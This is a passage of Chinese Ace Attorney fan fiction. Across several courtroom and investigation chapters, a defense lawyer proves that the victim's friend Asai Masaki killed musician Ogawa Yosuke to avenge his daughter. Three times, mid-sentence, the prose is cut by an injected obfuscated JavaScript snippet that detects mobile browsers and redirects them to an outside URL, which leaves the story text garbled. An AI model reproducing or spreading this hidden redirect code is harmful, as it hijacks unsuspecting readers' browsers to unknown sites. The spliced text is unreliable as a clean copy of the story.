全场目光此刻汇聚在庭中某处,所有人皆是一幅状况外的模样。 “真宵?!你这是在做什么?” “抱歉!但请最后再给我们一次机会!”真宵坚定而有力地向审判长传达着自己的声音。 “绘里姐,现在不是该放弃的时候!试着逆转思路吧!不要去想怎么证明没有人离开,而是想一想,什么能让人留下。” 她真切的眼中满是期冀与鼓舞。真宵说得对,既然走到了这里,为什么还要放弃? 什么会让人留下呢? ......我想我大概知道了。 “审判长,我想给证人看一件东西。” “噢?是很重要的东西吗?” “是的。” “嗯......那好吧。”说罢他点点头,示意我开始。 浓烈的香气随着我开盖的动作逐渐从瓶中向外散出,顷刻充盈了整个空间。 “那是?!怎么会在你那里?这个品牌,以你的工资恐怕买不起吧,更何况这一瓶是独家定制并未流入市场。你是怎么拿到的?” “我的工资的确不能与小川洋辅相比......但这是我在木屋搜寻到的证物,是通过合法途径获得的!” 法庭上还得提起自己的伤心事,我好难。 “但这不是重点。荒木女士,我想向你请教一个问题:小川洋辅是否真如传闻中所说不能接受他人触碰自己的物品?” “没错。” “会有例外吗?比如说,你?” 荒木尚子却是迟疑了:“......对我亦如此,但并无例外。” “真的吗?可是昨天大泽木小姐的证言里提到‘有人从窗边拿起了面膜’,现在也可以清楚地看出这瓶面膜有被动过的痕迹。已知此人就是凶手,且极有可能为被告,是否可以证明被告大场香就是这样一个例外?” “绝无这种可能!”荒木不带丝毫犹豫地怒吼出声:“洋辅这么讨厌她,怎么可能让她触碰自己的心爱之物!” “那我是不是可以认为,你是在说那个人影实际上是一位除死者与被告之外的——第三人?” “!” 比起听到疑问便当即保持沉默的荒木尚子,意识到这问题实际已被确认的狩魔冥倒是打击不小,再次抱紧双臂后退了几步。 审判长也陷入了沉思:“哦?哦!仔细一想,另一位嫌疑人似乎在渐渐浮出水面......” “这下可以请证人向我们说出‘那位朋友’的真实身份了吧。” 说完这句我也终于可以松了口气,很好,很快就要结束了。 “异议!这都是你自己的看法而已!一瓶面膜不能证明什么!我请求驳回辩方律师的发问!” 已经到这个时候了还不死心吗?狩魔冥。 “异议!狩魔检察官,要反对也得拿出证据才行。” “总之我就是要异议!” “你简直就是在无理取闹!” “咳咳咳咳咳。” 在审判长预备落下木槌阻止这场幼稚的争论前,一阵急促的咳嗽声替他完成了这项工作。 审判长先是呆愣了一会儿:“证人还好吗?怎么突然咳嗽得这么厉害。” “他的名字是浅井正树。” 荒木却是没有在意审判长的关心,她站在庭中虚望远处,仿若一切都与她无关:“那天与洋辅共进晚餐的人,就是他。” “居然就这么说出来了......”比我想象中的还要顺利。 “检察官小姐,你不明白洋辅那孩子对我来说有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266040|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多重要,因此不管要付出怎样的代价,只要能够找出真正的凶手也在所不惜。很抱歉,不能按照你的嘱咐保守这个秘密了。” 狩魔冥没说话,看来荒木所说的确是真。可我为什么总感到有股危险的气息存在呢...... “啊!为什么又打我!” 我就知道,狩魔冥怎么可能心平气和地看着证人说出极不利于检方的话。这不是完全在拿我当出气筒嘛! “破坏了我的完美就应该有这样的自觉......你就准备承受我的愤怒之火吧!” 话音刚落,接连几鞭都直直冲我而来。我可不能傻站在原地让她抽,索性装作被鞭晕的样子倒在台下,一声不出。 “绘里姐,你没事吧?!” 真宵被我向后倒下的动作吓了一跳,忙不迭蹲下在我身上摸来摸去。 为免露馅我没有睁开眼睛,只是动动小指以示意自己没事。 狩魔冥收起皮鞭又是回到了那副优雅自持的模样:“请再给我一天时间来调查这位浅井正树。明天,我会让这起案件按它原本的步调进行下去。” “啊?哦!我知道了。”审判长缓缓回过神,从震惊的情绪中抽离出来,“既然这样。咳咳,本院宣布今日就此闭庭!” —————————————————————— 10月15日下午2时 地方法院被告第3休息室 —————————————————————— “不错嘛,不仅成功找出一位可疑人员还躲过了那个霸道检察官的凶猛攻势。可真是让人刮目相看啊,律师小姐。” 人逢喜事精神爽,大场香眉间眼梢的笑意正盛,连带着说话也温柔了不少。 “是啊,我能平安走出法庭真是太好了。” 想起最后爬起来与狩魔冥对视的那一幕,让人现在都仍心有余悸。不过照她做事雷厉风行的程度,或许明天就能在庭上见到这位浅井正树了吧。 “不过也不要太得意啊。下次别像今天这样晕倒在法庭上,留给对手可趁之机。” “......我尽力。” 毕竟皮鞭不在我手里,什么时候落下甩几鞭这种事,完全无法预料。 果然还是应该尽早购置装备才行。 —————————————————————— 10月15日某时刻 成步堂法律事务所 —————————————————————— “好想看看里面到底有什么......” 手机已充电完毕,只是缺少解开的密码,握在手里也只是一块铁而已。 “既然是在木屋附近找到的,密码说不定也掉在那里了。”真宵如此猜测。 “应该没有人会把密码随便扔在地上吧.......不对啊,这种东西要怎么扔在地上,不都应该记在脑袋里吗?” “是解密啦解密。”真宵说着用手比划起来:“这种时候一般都得仔细观察周围环境,找出一定规律,就能得到密码了哦!” “啊。” 真宵最近,估计又在看什么侦探剧了。 16. 逆转之声9 —————————————————————— 10月15日某时刻 和睦森林东 —————————————————————— “!那边是.......” 远远能看到有人在草地中不断来回穿梭,低头拨开一丛丛的叶似乎是在寻找什么。我慢慢走近轻咳一声:“你好,请问有什么需要帮助的吗?” 他顿时停下动作,弓着背,双手收回膝前轻甩几下,又掏出胸前的方巾仔细擦拭每一根指节。 等到他直起身我才终于能看清这个人的模样——眼角额头都有不少细纹,面相倒是温和敦厚。嗯,是个儒雅的中年人。 “多谢好意。”他推了推金丝镜框,不疾不徐地说,“但东西——找不到,也不找了。我想它大概是落进湖里,已经顺着水流飘远了吧。” 既然对方这么说,这件事自然就结束了。对于他的出现我仍旧抱有极大的好奇,同时一种猜测也在心中滋生,只待开口询问就能得证答案。 “那么,二位又因何来此?”中年人柔和地笑着。 “为了调查一宗案件。”说着我递上律师徽章:“我叫知念绘里,是被告大场香的辩护律师。” “原来是这样。”他接过铜质徽章粗略看过一眼又递回来:“我姑且算是小川先生的朋友。浅井正树,这便是我的名字。” 果然没错。我想。 “你和小川先生.......”想到这个问题不免会冒犯到对方,我斟酌着用词艰难开口:“你们的关系如何呢?” “如果用一句话来描述我与他的关系,那大概会是:不过分亲近,也不大疏远。”浅井正树脸上仍是笑着。 “小川先生出事当天你是否与他在一起?” 我本想直接问他:有人说看到你与小川洋辅共进晚餐,这是真的吗?可这样一问,比起来调查案件的律师倒是更像时刻蹲守“前线”的八卦记者了。还是装作什么都不知道,慢慢套出些信息的好。 浅井不再笑了。他的右手轻靠住下巴,回忆着开口:“你说的是10月12日吗,如果是那天,很抱歉,我当时并不在这里。这张车票能为我作证。” 说完,他从皮夹里取出一张淡绿色的小纸片。我仔细看了看上面的文字:“17:37发,19:46着”。 这完全矛盾了。荒木尚子说过自己晚上7时抵达木屋附近看到了小川洋辅在与人共进晚餐,并且明确指认出另一人名为浅井正树——现在站在我面前的人也叫浅井正树。他不否认自己与小川有关,却拿出自己当晚不在场的证明。难道小川洋辅有两个同名同姓的好友?这是他的某种情结,又或者是某种喜好? 停下这些失礼的想法吧,知念绘里。 事实就在眼前,此浅井正树非彼浅井正树。能够与小川那样的人共进晚餐,彼此的情谊肯定十分深厚。但面前人的脸上看不出一丝挚友离去的悲伤,想来他们的关系也没有那么亲近。 “如果没什么事,那我便先告辞了——或许其他地方能有更多发现。”留下这样一句话,浅井正树俯身捡起落在地上沾了泥的钢笔阔步走远了。 —————————————————————— 10月15日某时刻 和睦森林湖边木屋 —————————————————————— 没有,会客厅和厨房什么异常都没有,连带新线索也无踪无影,一无所获。 带着最后一丝希望我来到浴室,很好,还是什么都没有! 既然这样,索性把整栋房子也再搜一遍好了!说干就干,预想中的胜利激起了我的斗志,我是不会败给她的! 事实证明我的抉择有多正确——最后,在楼梯转角,光照不到的一侧找到了张沾满灰尘的吊牌。 “to dear 洋辅,相识730天纪念。” 转过来,吊牌正面印着“shion flower market”,似乎是某个花店的logo。 花?对了!浴室里发现的那束鸢尾!或许可以去花店打探消息。 —————————————————————— 10月15日某时刻 和睦森林西 —————————————————————— “大泽木?你原来还没离开吗?” 一团棕色卷毛在我眼前不断晃动,营地的东西已经收拾了个七七八八,车上放得满满当当的。大泽木正费力将相机架塞进堆叠的物品缝隙,完全没有注意到我们的到来。 “累死了。下次再也不要到这种荒郊野岭来了!” 长长舒出一口气,大泽木惬意地伸着懒腰转过身来,却在下一秒猝不及防发出一声尖叫:“啊!!!你为什么站在这里不出声啊!!!” “我刚才给你打过招呼了,不过你好像没有听见。”我耸耸肩一脸无奈。 “呼呼。好吧,那我只能原谅你了。”大泽木双手叉腰爽朗地大笑起来:“我今天就要离开啦!对了,这个给你。” “这是?” 一张录像带,封皮上用黑笔写着“10.12 小川洋辅”。 “这是那天拍到的影像。我有加工过哟,尽最大力修复了画质,这样画面就更清晰啦!不过你也不要抱太大希望,脸还是看不太清。” “ 没关系!”因为激动我的声音也跟着提高了不少:“这样也足够了。大泽木小姐,谢谢你!” 握着手里的东西,我突然又想起了另一件事:“不过瞒着狩魔检察官真的好吗?” “谁要管那个女人啦!”大泽木握紧双拳气鼓鼓地说,“就让她生气好了!谁让她用皮鞭打我,这么可恶的人输掉也是活该啦!!!” 干得好大泽木!就是要让她知道,证人也是不好惹的! 但这些话我不能说出口,大泽木以后未必要面对她,我的话,不出意外,得长久与她面对面了。 “啊!我预约的时间快到了。那就这样吧,我们有缘再见喽!”大泽木惊呼一声匆忙地跳上车去,隔着窗与我们摆手再见。 告别完大泽木,我也得好好考虑下一步该做什么——好,现在就出发出去吊牌上的花店碰碰运气吧! —————————————————————— 10月15日某时刻 shion flower market —————————————————————— 当季的鲜艳的花朵摆满了门口,过路的人时不时会停驻以短暂欣赏几秒,而后带着熏染得妍丽的心再次启程。 穿过旋转玻璃门,里面是更加华贵的花的王国。花以品种及颜色分门别类堆放在一个个的高架,绿枝从顶上吊着的竹篮里柔柔垂下,轻抚每一位从它身旁走过的人。 在这样花的丛林里想要寻找柜台实在是件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266041|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难事,左绕右绕半天,才终于发现一处不同灯光的地方。 店主是位四十上下的女性,一身白绿色无地显得人尤其优雅清丽。来了客人,她没有热情地拥上来,也不会冷漠装作不见。只微微笑点头说了一句:“阿拉,两位小姐是有想要送花的对象吗?” “啊,没有没有!”否认之际我也不忘赶忙掏出找到的东西:“我来是为了这个——这是你们店的吊牌对吧?我想知道更多关于它的事。” 女人用袖子遮住了嘴,眼中带笑,再开口却是果断的拒绝:“抱歉哦。我可不能随意向人透露客户的信息呢。” “是这样的。”律师徽章再次被我掏出展示在他人面前:“购买这束花的人极有可能与最近的一起案件有关。目前并不能排除这个人的嫌疑,但只要能知道更多信息,或许能证明他的清白。” 她面上略有松动,似乎在心中权衡。 “你的名字是?” “知念绘里。”虽然不明白对方为何突然提起这个问题,我仍是下意识地答道。 “知念小姐,”像是很满意我的回答,女人点点头微笑着说,“既然是为了案件前来调查,互相知道名字会更好交流吧。我是岩崎裕美,这家花店的主人。” 说着她伸手拿过吊牌前后都看了一遍:“没错,这是店里购买花束附赠的贺卡。至于买花人——他叫浅井正树。” “他是什么时候购买的花束?” “我记得......是在10月12日下午4点左右。” “浅井是店里的常客吗?” “并不。”岩崎摇摇头:“只是最近一段时间来得较多。” “他是个怎样的人?” “怎样的人吗......阿拉,刚才忘记说了。浅井他,其实是我国中的同学。虽然是这样的关系,也只是点头之交而已。不过从他身边人口中倒是听说似乎是个不错的丈夫,只是......” “怎么了?” “大概三年前他家里发生了变故,唯一的女儿离世,和妻子也离了婚,就这样独自生活到现在。” “那——” “关于浅井爱——浅井女儿离世一事,其中细节我也不是很清楚。说起来,再过三天就是小爱的生日了。”岩崎感伤地说。 没想到浅井正树过去发生过这样的事....... “小爱出事后,浅井有近一年的时间闭门不出。最近他看上去状态好了很多,看来也慢慢走出来,或者有什么喜事发生吧。” 岩崎将自己知道的一切完完整整告诉了我。我就这样带着得到的最新信息回到了事务所,为明日一战做最后准备。 —————————————————————— 10月15日某时刻 成步堂法律事务所 —————————————————————— “三天后.......” 再次点亮手机,我尝试着输入四个数字,1018。 “打开了!.....这是,聊天记录?” 打开手机第一眼看到的不是桌面已经够让人惊讶了,更让人意想不到的是,屏幕上对话的两人,其中一位,正是案件的主角小川洋辅。 对话的内容......还真符合八卦杂志的爆料——“小川性格极其恶劣,身边人都对其避之不及”,亲眼看见也只觉得有过之而无不及。 看来,真凶已经很明了了。 17. 逆转之声10 —————————————————————— 10月16日上午10时 地方法院第2法庭 —————————————————————— “今天是最后一天。如果辩护律师不能证明凶手另有其人,本院就将宣判被告有罪。”审判长下了最后通牒,相较以往,今日的法庭也更显肃穆。 “控方今日的证人是?” “昨日提到的浅井正树。控方已调查清楚,此人并无嫌疑且拥有充分的不在场证明。” “那么请他出来吧。” 浅井从门后走出到证人台前,与昨天的穿着不同,他今日套了一件浅灰色风衣外套。 狩魔冥不发一语,只微微一摆手,做出“请”的姿势。 “浅井正树,姑且算是一位小说家。” 等浅井说完,狩魔冥换了姿势,变作双手交叉抱在胸前:“浅井正树与死者的确是朋友——但他并非与小川洋辅共进晚餐的人。案发当天早些时候他就已离开B市,去到车程足有两小时的另一城市。” “ 那就请证人说一说你当天做了什么吧。”审判长说道。 ~不在场证明~ “10月12日,我照常前往外地采风取材。 我乘坐了下午17时37分的车,并在19时46分到达了D市。 也就是说,我根本不可能在那天与小川共进晚餐。” —————————————————————— “这么短吗?”我不可置信地问道。 “我想我所需要说的只有这些吧。”浅井微笑着点头道。 “可是有什么可以证明这点呢?” 车票我看过,日期,时间,都与他的证言分毫不差。但他大可以买了票不去,留下证据给自己做不在场证明。 “就猜到你会这么说。”狩魔冥满脸的无谓:“所以我早备好了证据。这张车票,还有这段监控录像,都是浅井正树的不在场证明。” “什么监控录像?” “浅井正树进入车站的影像。” 狩魔冥说完不再理会我,径自将录像在法庭上播放了出来。 第一个片段中身穿灰色风衣的浅井穿过闸机向内走去,逐渐在画面中消失;到第二段,他走下楼梯站在月台边等待列车到达。两分钟后列车进站,画面中的浅井的确走上了车——在17时32分。 “嗯......从监控视频来看,证人的确是乘车离开,具有充分的不在场证明啊。”审判长连连点头。 “这样的证据如何?你还想继续挣扎吗,知念绘里?” 我凝重的神色在狩魔冥看来无疑是个积极信号——这样的证据是我没法反驳的。 “审判长,请让我开始讯问。” “好啊,你就开始吧。” 我拿出吊牌开口问道:“浅井先生,既然你说10月12日自己并不在B市,那这束花又是谁送的呢?花店老板证实当天下午4时,你,浅井正树前往店里购买了一束鸢尾花并写下一段寄语。而花与贺卡最终都在木屋内被发现,这点你又怎么解释?” 浅井脸上不见一丝慌乱,他仍是微笑。从容自若地开口:“没错。花束是由我亲自前往购买。但我委托了其他人将它送到木屋,自己并未前去。” “所以你还是坚持自己当天不在案发现场?” “当然。” “那真是太奇怪了。”我慢慢拿出大泽木交给自己的录像带,“如果证人坚称自己10月12日不在现场,那出现在这个影像中的浅井正树又是谁呢?或者说浅井先生其实有什么双胞胎兄弟吗?” “这里面也出现了证人?”审判长不可置信地问。 “是的。这就是大泽木在10月12日所拍下的影像。虽然还是无法看清面部特征,但身上的衣物细节却非常清楚。”说着我在法庭上播放起了这张录像带。一切都同大泽木的证言相吻合,人影走近窗边拿起了东西,我将画面定格在这一帧并放大了图像,引来审判长疑惑的目光。 “辩护律师,画面里这个人身上不是一件棕色马甲吗,证人穿的可是灰色风衣啊。” “很简单,只要让证人脱下身上的外套,就能看到里面的那件棕色马甲了。” “异议!”狩魔冥紧急打断:“就算证人真的穿了棕色马甲又如何?谁都可以这样穿。况且根本没拍到脸,怎么就能确定是浅井!” “相同着装的确不足以证实这个人就是浅井正树。”顶着狩魔冥探究的目光我慢悠悠地说道,“不过,审判长,你应该也有发现吧。从刚刚开始,法庭里就一直有一股似有若无的香气。” “嗅嗅。嗯,没错。还是让人熟悉的味道。” “是这个味道吗?”我拿出面膜揭开上盖。 “对!就是这个!”审判长欣喜地指着我手中的东西,“不过这个味道很浓烈啊,刚才还只有淡淡一点。” “这就要问浅井先生了。” “为什么这么说?” “审判长,之前的庭审中已经证明凶手,也就是那个人影拿起的就是我手中这瓶面膜。只要触碰过里面的膏体,人的手上就会留下同种香味。洗是洗不掉,只能等它自己慢慢变淡。 “证人。”我转向浅井正树:“被大泽木拍到的人影,在窗边拿起面膜的人影,就是你没错!” 浅井正树低头回避了我的视线。 “异议!你只是在胡说八道!” “狩魔检察官如果不信,可以自己去闻一闻呀。” “你!” 看到狩魔冥那副咬牙切齿又想不出什么办法的模样,我心里别提多痛快了。 “可是,监控摄像里他的确上车离开了......”审判长仍是不解。 “审判长,监控录像只到17时32分便结束了,并没有之后列车开走的画面,不是吗?”我越往后说,狩魔冥脸上的惊惧越显:“他完全可以在发车前下来再赶到木屋与小川共进晚餐,之后再将人杀死。” “!没错啊!”审判长惊叹出声。 “哼!”即使几近崩溃,狩魔冥也不肯放弃任何机会:“杀人总需要动机吧?!被告可以因为仇恨雇主痛下杀手,作为朋友的浅井,根本没理由对小川洋辅动手!” “怎么会没有呢?动机就在这里。” “哈?!”狩魔冥一瞬间想要放声大笑:“一个破手机也能成为杀人动机?!” “重点是手机里的东西。”拿出手机,我用余光观察着浅井。他的面色相当沉重,眼神也愈加不善:“浅井先生,这是你女儿的手机,没错吧?” 无人回应。 “不回答这个问题也没关系。你女儿是小川洋辅的忠实粉丝,这也没错吧?” 浅井默默了许久还是开了口:“......那种垃圾,不配得到任何人的喜欢!” “接下来,我将揭露浅井正树杀害小川洋辅的真正原因......抱歉了。” 想到自己即将在众人面前公布这段信息,我仍会感到过意不去。可这是为了让无辜之人得证清白——我必须得这样做。 “请听这段对话的内容。” —————————————————————— -?koi?- 小川先生,我一直都很喜欢你的音乐!那些音乐伴随我度过了一段非常黑暗的日子,说是我的救赎也没错!请你千万不要放弃,无论什么时候我都会在这里支持你! 已读未回复。 -?koi?- 小川先生,这是我的自作曲,希望你能喜欢! -ogawa- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266042|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个垃圾是你做的? -?koi?- 小川先生,你终于回复我了! -?koi?- 我的曲子......真的很糟糕吗? -ogawa- 听了这样的垃圾真让人耳朵难受。 -ogawa- 写出这样垃圾的你也只是个垃圾。 -ogawa- 垃圾就应该进垃圾桶被拉去回收才对。 -ogawa- 去死吧,垃圾! -ogawa- 垃圾垃圾垃圾! —————————————————————— 这段对话的内容让在场众人久久回不过神,说不出什么话。 “完全就是个人渣啊!怎么有人能说出这样的话。”却是狩魔冥先开了口。 “......真难想象,有人能够说出如此恶毒的话。” “审判长,实际上还有一件更令人难以接受的事。对话中的两人,分别是浅井正树的女儿与死者小川洋辅。而说话如此恶毒的,就是小川洋辅。” “!他还有这样的一面?!” “或许就是因为自己已经被时代抛弃,才只能将愤怒与不满对准喜欢自己的粉丝......真是废物。”狩魔冥轻蔑地说道。 “接下来的话,我想还是由浅井先生自己说更好。” 剩下不过是我的猜测而已,究竟事实如何,还是该有亲历者来讲述。 浅井的肩微微颤动着,他轻笑几声而后缓缓抬头说道:“能够查到这些,看来你为这起案件下了不少功夫......本应好好活着的人因为他的几句话放弃了自己的生命,而他这个该死的却能好好活着?世界上不应该有这样的道理,就算有,我也让它改写。 “没错,人是我杀的。他早该死了——在我女儿走的那一年。我还多给了他两年的生命,难道我不仁慈吗?我原本想让别人做自己的替罪羊,可一想到这样这件事会被就此深埋,内心的愤怒与不甘就如烈火一般灼烧着我。律师小姐,你还记得最开始那封信吗?” “难道是你?!” “现在,我想要的一切都得到了。我不再有什么遗憾,请宣判吧。” “我明白了。”审判长沉吟着点了点头:“那么......本院在此宣布‘大场香’的判决结果。” “无!罪!” “本日就此闭庭!” —————————————————————— 10月16日下午2时 地方法院被告第3休息室 —————————————————————— 一切尘埃落定,大家也都轻松了不少。 “算我没看错,你果然可以。” 面对大场香的称赞,我却一点也提不起精神。 “都结束了你还在苦恼什么?”大场香显然对我的反应感到不满。 “我不明白,他为什么会找我?” “这有什么想不通的?因为你难缠啊。” “什么?” 难缠也是优点吗? “只有你才会不管不顾,无论怎样都要找出个答案来。面对强大的敌人,想要完成他想做的事,需要的正是你这样的人。” “是这样啊......” 如果浅井不找替罪羊来做这么一出,恐怕小川洋辅做过的事都会被经济公司压下来吧,毕竟谁会相信杀人犯的话呢? “好了,赶紧恢复过来。我也要趁这个机会好好给自己放场假呀!” 说完,眼前的大场香已然换上度假的衣物,推开大门跨步走了出去。 “度假......” 或许,我也该给自己放个假了。